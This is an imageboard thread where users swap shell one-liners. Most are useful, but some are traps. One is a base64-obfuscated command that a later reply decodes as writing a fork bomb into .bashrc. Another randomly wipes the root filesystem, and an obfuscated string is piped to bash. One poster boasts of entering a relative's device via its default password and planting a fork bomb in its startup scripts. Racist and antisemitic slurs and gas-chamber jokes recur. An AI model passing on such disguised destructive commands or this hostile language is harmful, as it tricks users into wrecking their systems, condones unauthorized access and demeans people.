[–]▶ No.846116>>846190 >>846728 >>846730 [Watch Thread][Show All Posts]
tcpdump '((ip[6:2] > 0) and (not ip[6] = 64))'
▶ No.846127>>846140
find -not -empty -type f -printf "%-30s'\t\"%h/%f\"\n" | sort -rn -t$'\t' | uniq -w30 -D | cut -f 2 -d $'\t' | xargs md5sum | sort | uniq -w32 --all-repeated=separate
for i in *; do mv "$i" "`sha256sum $i | cut -f 1 -d " "`.`echo "${i##*.}"`";done
▶ No.846130>>846151 >>846314
>>846123
rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe
▶ No.846140>>846149
>>846127
Find duplicate files , compare md5sums and move the duplicate?
▶ No.846142
▶ No.846149
>>846140
First one lists all duplicates starting in the working directory, and nothing more.
The second one renames all files to their sha256sums, but only keeps the last extension (so .tar.xz would become .xz)
▶ No.846151
>>846130
ebin
y u no use older version without baby hand holding?
▶ No.846159>>846177
"Hey baby, are you hungry or are you just happy to see my dick?"
▶ No.846161>>846188
timeout 5h perl -le 'while (1) { sleep 60; chomp(my $dev = qx(sar -n SOCK|tail -1)); my ($tw) = (split " ", $dev)[-1]; if ($tw < 9000) { print $dev; system qq(timeout 10m tcpdump -nn -i eth0 -C500 -w /var/wtf/tcpdump-@{[time]} -Z root) } }'
▶ No.846177
>>846159
Go back to halfchan
▶ No.846188
>>846161
> Timeout. While sleep chomp my Sock-Tail, my split
Kinky
▶ No.846190
>>846116 (OP)
ln -s /dev/null garbage; mv you garbage
▶ No.846201
▶ No.846213>>846247
trap "espeak 'Good job, retard!'" ERR
▶ No.846247
>>846213
that can't even work nigga
▶ No.846314>>846339
>>846130
this will now brick your motherboard and nuke your efi partition beyond repair
thanks linus/systemd
▶ No.846339>>846346
>>846314
Only if you install with UEFI comparability. Also, what does systemd, an init system, have anything to do with BIO/UEFI, grub and efi partitions? Nothing. You can install gentoo with UEFI and without systemd and still be able to do this.
▶ No.846344>>846348
# Find how many lands you need in an MTG list (you must count the mana symbols yourelq
echo ggggbbuuuubbggrwbrgggggwwwwuuuggggrrrrgggguuuuuu | sed 's#.#&\n#g' | awk '/w|b|u|r|g/{cnt[$0]++}; END {total = 0; for (i in cnt) total = total + cnt[i]; for (i in cnt) print i " " cnt[i] / total * 20}'
# Use the c preprocessor in sh scripts
grep -e '^#CPP ' -e '^[^#]' "$1" | sed 's/#CPP /#/' | cpp -undef -x c | sh
# Strip ansi sequences (needs GNU sed)
sed -E "s#\x1b\\[([0-9]+;[0-9]+(H|f)|[0-9][A-D]|[suK]|2J|([0-9]+;)*[0-9]+m|=[0-9]+(h|l))##g"
▶ No.846346
>>846339
>systemd mounts efivarsfs as rw by default at boot
>pöttering refuses to acknowledge as issue because "some tools need it"
<LE SYSTEMD DINDU NUFFIN
▶ No.846348>>846367
>>846344
>Use the c preprocessor in sh scripts
why?
▶ No.846352
▶ No.846367
>>846348
You want to use variables inside the quoting hell.
▶ No.846405>>846420 >>846435 >>846548
uptime | perl -ne "/(\d+) d/;print 8,q(=)x\$1,\"D\n\""
▶ No.846420>>846440
>>846405
kekd
meremor@ysengr:~/smartphone$ uptime | perl -ne "/(\d+) d/;print 8,q(=)x\$1,\"D\n\""
8===============================================================================================================================================================D
▶ No.846435
>>846405
>not using /proc/uptime
▶ No.846440
>>846420
>uses q()
>doesn't use qq() when it's warranted right after
is that intentional?
▶ No.846548
>>846405
haven't seen this one in a long time
▶ No.846709>>846896
why has no one posted a fork bomb yet?
▶ No.846728
▶ No.846730>>846744
>>846116 (OP)
>implying there's a special meaning in being one liner
find / -type -print brain | xargs replace
not sure if I got this right but whatever
▶ No.846744>>846987
>>846730
find is one of the God commands.
you have soiled it.
suffering will follow.
▶ No.846896>>847514
▶ No.846961>>849314
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf --no-preserve-root / || echo *Click*
▶ No.846982
(*((void (*)(void))(0)))();
▶ No.846987>>846992 >>848825
>>846744
it's not a command, it's a program, you ding hole
$ which find
/usr/bin/find
▶ No.846992>>846995
>>846987
Kernighan and Pike don't make that distinction.
▶ No.846995>>846996
>>846992
So what? All people make mistakes and sometimes blunders too.
▶ No.846996
>>846995
They do that consistently. "Command" is a homonym. "find" is a command. You're just being incorrectly pedantic.
▶ No.847009>>847012 >>847070 >>849314
echo "ZWNobyBPaWdwZXlBNmZEb21JSDA3T2dvPSB8IGJhc2U2NCAtZCA+IC5iYXNocmMK" | base64 -d | sh
>
▶ No.847012
▶ No.847068
echo carl the moongeek/o.lye10uA8/C | tr gnu/homekat :phisth/bu\\- | sed s./.L. | bash | bash
▶ No.847070>>847076 >>849314
>>847009
php > echo base64_decode("ZWNobyBPaWdwZXlBNmZEb21JSDA3T2dvPSB8IGJhc2U2NCAtZCA+IC5iYXNocmMK");
echo OigpeyA6fDomIH07Ogo= | base64 -d > .bashrc
php > echo base64_decode("OigpeyA6fDomIH07Ogo=");
:(){ :|:& };:
▶ No.847149
▶ No.847269>>847277 >>847517
watch -n 15 'printf "/tech/ Cancer Counter\n----------------------\n" && kw="botnet codemonkey hotwheels jim josh rust" && for w in $kw; do echo " " $w: $(curl -sL https://8ch.net/tech/catalog.html | grep -io $w | wc -l); done && printf "\n/pol/ Cancer Counter\n---------------------\n" && kw="antifa happening jew nigger shill sjw trs" && for w in $kw; do echo " " $w: $(curl -sL https://8ch.net/pol/catalog.html | grep -io $w | wc -l); done'
▶ No.847277
>>847261
>>847265
>>847268
>>847269
good work, pajeet
▶ No.847424
These aren't really bestest, but I find them to be useful.
Recursive convert audio
find . -type f -name "*.flac" -print0 | while read -d '' -r in; do opusenc --comp 10 --bitrate 64 "$in" "${in%.flac}".opus; done
Recursive find and optimize images
find . -type f -name "*.jpg" -exec jpegoptim {} \;
find . -type f -name "*.png" -exec optipng {} \;
Unzip folder of zip files into their own directory
for f in *.zip; do unzip -d "${f%*.zip}" "$f"; done
Zip directories into their own zip file
for i in *; do zip -r "${i%}.zip" "$i"; done
Recursive find and remove by extension
find . -type f -name "*.XXX" -exec rm "{}" \;
Still image with audio webm for chans
ffmpeg -r 1 -loop 1 -i 1.png -i 1.wav -c:v libvpx -c:a libvorbis -b:a 64k -shortest out.webm
▶ No.847514>>847873
>>846896
>fork bomb
holy shit that's funny i just ssh'd into my mom's raspberg pi and put that shit into a bunch of her startup scripts.
▶ No.847517
>>847269
That's disgusting. Use grep -c. Use functions. Put it in a separate file, on multiple lines.
▶ No.847806>>847871
I'm a bashlet but I needed a pkill command who sends SIGKILLs instead of SIGTERMs for when I try to make music with jackd, so I made one with pgrep.
This line will install it in $HOME/bin/, you can pass options to pgrep, and it also gives you the list of processes which have been killed.
printf '#!/bin/sh\nfor pid in $(pgrep "$@"); do kill -9 $pid; done\nuntil [ $# -eq 1 ]; do shift; done\nps -A | grep $1' > $HOME/bin/pkill9 && chmod 755 $HOME/bin/pkill9
▶ No.847871>>847891
>>847806
"pkill -9" or "pkill --signal KILL".
Read the man page.
▶ No.847873>>848755
>>847514
Why would you do that?
▶ No.847891
>>847871
Damn. I vaguely remember trying to use pkill -9 years ago and it wouldn't work the way I expected, so I thought it was a good idea to write this.
Well, I learned things about Unix at least.
▶ No.848755>>848805
>>847873
because she still won't change the default password 'raspberry' even though i showed her that it's extremely vulnerable. she just acted bitchy when i showed her. she said "I don't have a password on my pi" i'm guessing she thinks that because theres no login screen.
▶ No.848805
▶ No.848825
>>846987
$ mv /usr/bin/find /usr/bin/nigger
Same program, different command. Ergo 'find' is a command. QED
▶ No.849314>>849958
>>846961
kek
Russian roulette drive wiping.
>>847076
not realizing
>>847070
was using php to decipher
>>847009
send yourself to the
>>>/gaschamber/
#print out 400 random words from the dictionary, separated by space. Great for shitposting in data-mining threads. Or printing out random text to wrap around a (check|sensitive document) before posting to stop candle-lighting attacks.
shuf -n400 /usr/share/dict/words|tr -s "\n" " "
▶ No.849958
>>849314
>using php for anything
>>>/auschwitz/